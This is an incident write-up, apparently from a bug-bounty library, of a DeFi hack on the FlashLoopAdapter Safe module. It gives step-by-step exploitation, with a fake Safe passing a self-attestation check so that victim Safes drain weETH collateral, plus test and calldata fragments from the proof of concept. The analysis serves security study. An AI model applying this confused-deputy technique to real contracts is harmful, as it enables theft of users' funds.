# FlashLoopAdapter: self-attestation auth lets fake Safe drain real Safes

FlashLoopAdapter Safe module trusted caller's self-attestation of module-enabled status and made unconstrained router calls, letting a fake Safe force real victim Safes to drain weETH collateral.

- Payout: Real-world hack
- Severity: critical
- Program: FlashLoopAdapter
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-01
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/FlashLoopAdapter_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261001-flashloopadapter
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic vuln:flash-loan

**Target:** Safe module (FlashLoopAdapter) open()/close() with caller-supplied swapRouter and calldata
**Root cause:** _start authenticates via ISafe(msg.sender).isModuleEnabled(address(this)) — self-attestation trusting the caller to vouch for itself — and _swap approves and raw-calls a caller-supplied router with caller-supplied calldata, no allowlist.
**Steps:**
1. Flash WETH from Morpho Blue (fee-free).
2. Permissionlessly repay Victim #1's 1335.26 WETH Aave debt to unlock its weETH collateral.
3. Call `adapter.open()` with `swapRouter=Victim#2`, `swapCalldata=execTransactionFromModule(weETH,0,transfer(attacker,6.426e18),0)` — fake Safe passes isModuleEnabled check, adapter drives Victim #2 to transfer weETH.
4. Call `adapter.open()` with `swapRouter=Victim#1`, `swapCalldata=execTransactionFromModule(AavePool,0,withdraw(weETH,1306.48e18,attacker),0)` — Victim #1 withdraws collateral to attacker.
5. Swap 1312.908 weETH -> 1449.352 WETH via ODOS using replayed calldata.
6. Repay Morpho flash; net 114.096 WETH profit.
**How found:** Code review of verified adapter source: noticed _start trusts msg.sender's own isModuleEnabled() answer (self-attestation) and _swap raw-calls an unconstrained caller-supplied router — combined into a confused-deputy against any Safe that enabled the module.
**Exploitation:** Attacker deploys a fake Safe contract whose isModuleEnabled() always returns true and sets providerAddr/pool to itself so flash/Aave legs are no-ops (flashAmount=0). The only real effect is _swap, which approves and calls the real victim Safe as router; since the adapter is a genuinely enabled module on the victim, the victim executes execTransactionFromModule payloads as itself, transferring weETH and withdrawing Aave collateral to the attacker.
**Escalation:** Chained permissionless Aave debt repayment (to unlock collateral) with two module-driven drains across two victim Safes, then ODOS swap and Morpho flash repayment in one atomic tx.
**Insight:** When a contract authenticates by querying msg.sender about msg.sender (isModuleEnabled, isWhitelisted, supportsInterface on the caller), a one-line fake contract passes it; pair that with any caller-supplied target+calldata and you get a confused deputy against every real integrator.

## Proof of concept (copied exactly from the original report)

**Attacker contract calling adapter.open with victim Safe as router**

```
atk.attack(ODOS_CALLDATA);

        // profit lands as WETH on the attacker contract, pre-gas, as read from the trace.
        uint256 profit = IERC20(WETH).balanceOf(address(atk));
        emit log_named_decimal_uint("Attacker profit (WETH)", profit, 18);
        assertApproxEqRel(profit, 114.092 ether, 0.01e18, "profit should match reported ~114.09 ETH");
```

**Replayed ODOS weETH-to-WETH swap calldata**

```
bytes constant ODOS_CALLDATA =
        hex"e3ead59e000000000000000000000000082738d007001080a00099a000004f3006152085000000000000000000000000cd5fe23c85820f7b72d0926fc9b05b43"
        hex"e359b7ee000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000472c25c9f5"
        hex"2a5a000000000000000000000000000000000000000000000000004dc8aab4a21c7cc2ee00000000000000000000000000000000000000000000004e91ce0bca"
        hex"896193c50d080328080c4a2fb689af26cac35e31000000000000000000000000018e3a4d00000000000000000000000000000000000000000000000000000000"
        hex"00000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000"
        hex"00000160000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000"
        hex"000000000000000000000000000000000000000000000000000000000000000000000cc000000000000000000000000000000000000000000000000000000000"
        hex"000000200000000000000000000000000000000000000000000000000000000000000cc000000000000000000000000000000580000000000000016c00000000"
        hex"0000264800000000000000000000000000000000000000000000056005040144000a000300000000000000000000000000000000000000000000000000000000"
        hex"00000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000"
        hex"000005000000000000000000000000000000018000000000000000cc0000000000000595db74dfdd3bb46be8ce6c33dc9d82777bcfc3ded5000000e0004400a4"
        hex"ff00000b000000000000000000000000000000000000000000000000000000003df02124000000000000000000000000000000000000
```

